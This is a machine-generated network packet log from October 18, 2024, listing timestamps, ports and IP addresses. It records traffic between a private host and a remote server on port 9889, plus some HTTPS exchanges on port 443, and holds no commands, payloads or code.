Oct 18, 2024 23:46:18.085190058 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.085206032 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.085644960 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085660934 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085678101 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085745096 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.085773945 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085838079 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085855007 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085858107 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.085889101 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085905075 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085944891 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.086025000 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.124212027 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.124248981 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.124273062 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.124289036 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.124304056 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.124319077 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.124332905 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.124360085 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.124459982 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.124587059 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.124634981 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.124695063 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.124710083 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.124713898 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.124736071 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.124751091 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.124768019 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.124780893 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.124836922 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.124887943 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.151331902 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.151364088 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.151381016 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.151422024 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.151439905 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.151453972 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.151565075 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.202402115 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.202574015 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.202589989 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.202605963 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.202620983 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.202636003 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.202650070 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.202651978 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.202667952 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.202704906 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.202730894 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.202815056 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.202838898 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.202860117 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.202874899 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.202889919 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.202897072 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.202903986 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.202912092 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.202919960 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.203017950 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.203800917 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.203819036 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.203991890 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.241414070 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.241461039 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.241486073 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.241503000 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.241518021 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.241532087 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.241547108 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.241561890 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.241578102 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.241626978 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.241751909 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.242057085 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.242117882 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.242150068 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.242166996 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.242182016 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.242196083 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.242202997 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.242216110 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.242228031 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.242280960 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.242919922 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.242937088 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.242952108 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.243016005 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.264236927 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.264373064 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:18.268265963 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.268295050 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.268310070 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.268343925 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.268362045 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.268379927 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.268392086 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.268429041 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.269066095 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:18.269100904 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.269454002 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.281086922 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:18.319432020 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.319453001 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.319470882 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.319488049 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.319546938 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.319561958 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.319576025 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.319610119 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.319760084 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.319832087 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.319858074 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.319873095 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.319900036 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.319968939 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.320143938 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.320209980 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.320209980 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.320228100 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.320242882 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.320254087 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.320275068 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.320296049 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.320348024 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.320364952 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.320401907 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.320815086 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.320868969 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.320878983 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.320884943 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.320902109 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.320913076 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.320918083 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.320931911 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.320951939 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.320972919 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.327440977 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.358643055 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.358675003 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.358691931 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.358709097 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.358724117 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.358738899 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.358753920 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.358767986 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.358784914 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.358789921 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.358830929 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.358930111 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.359213114 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.359229088 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.359236956 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.359266043 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.359282017 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.359286070 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.359306097 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.359338045 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.359669924 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.359700918 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.359716892 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.359725952 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.359744072 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.359766006 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.385256052 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.385277033 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.385302067 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.385318041 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.385332108 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.385338068 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.385349989 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.385377884 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.385390997 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.385454893 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.385468960 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.385499954 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.385515928 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.431421041 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.431488991 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.431514025 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.431569099 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.431576014 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.431623936 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.436223984 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.436284065 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.436289072 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.436320066 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.436331034 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.436357975 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.436378956 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.436403990 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.436415911 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.436450005 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.436467886 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.436496973 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.436503887 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.436538935 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.436553955 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.436583996 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.436835051 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.436871052 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.436888933 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.436924934 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.436963081 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.437016010 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.437036991 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.437051058 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.437058926 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.437088966 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.437103033 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.437139034 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.437627077 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.437690973 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.437699080 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.437750101 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.437756062 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.437791109 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.437819958 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.437824965 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.437840939 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.437860966 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.437874079 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.437897921 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.437907934 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.437935114 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.437943935 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.437979937 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.476748943 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.476804018 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.476831913 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.476839066 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.476855993 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.476874113 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.476883888 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.476910114 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.476921082 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.476944923 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.476957083 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.476979971 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.476990938 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.477010965 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.477025986 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.477044106 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.477056026 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.477077961 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.477089882 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.477108002 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.477119923 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.477154016 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.477163076 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.477215052 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.477221966 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.477271080 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.477276087 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.477307081 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.477327108 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.477339983 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.477355003 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.477380037 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.477391005 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.477432013 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.477440119 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.477473974 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.477492094 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.477502108 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.477524042 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.477585077 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.503566027 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.503617048 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.503653049 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.503688097 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.503688097 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.503743887 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.503839970 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.524210930 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.524243116 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.524267912 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.524370909 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:18.524435043 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.524512053 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:18.543248892 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.543292999 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.543346882 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.543375969 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.548259020 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.548275948 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.548291922 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.548316002 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.548352957 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.554397106 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.554426908 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.554444075 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.554483891 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.554508924 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.554558039 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.554574013 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.554595947 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.554604053 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.554611921 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.554636002 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.554642916 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.554652929 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.554668903 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.554685116 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.554687023 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.554701090 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.554706097 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.554717064 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.554742098 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.554755926 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.554758072 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.554773092 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.554795980 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.554817915 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.555028915 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.555056095 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.555071115 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.555079937 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.555099010 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.555105925 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.555121899 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.555139065 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594058990 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.594111919 CEST	9889	49720	61.147.93.116	192.168.2.5
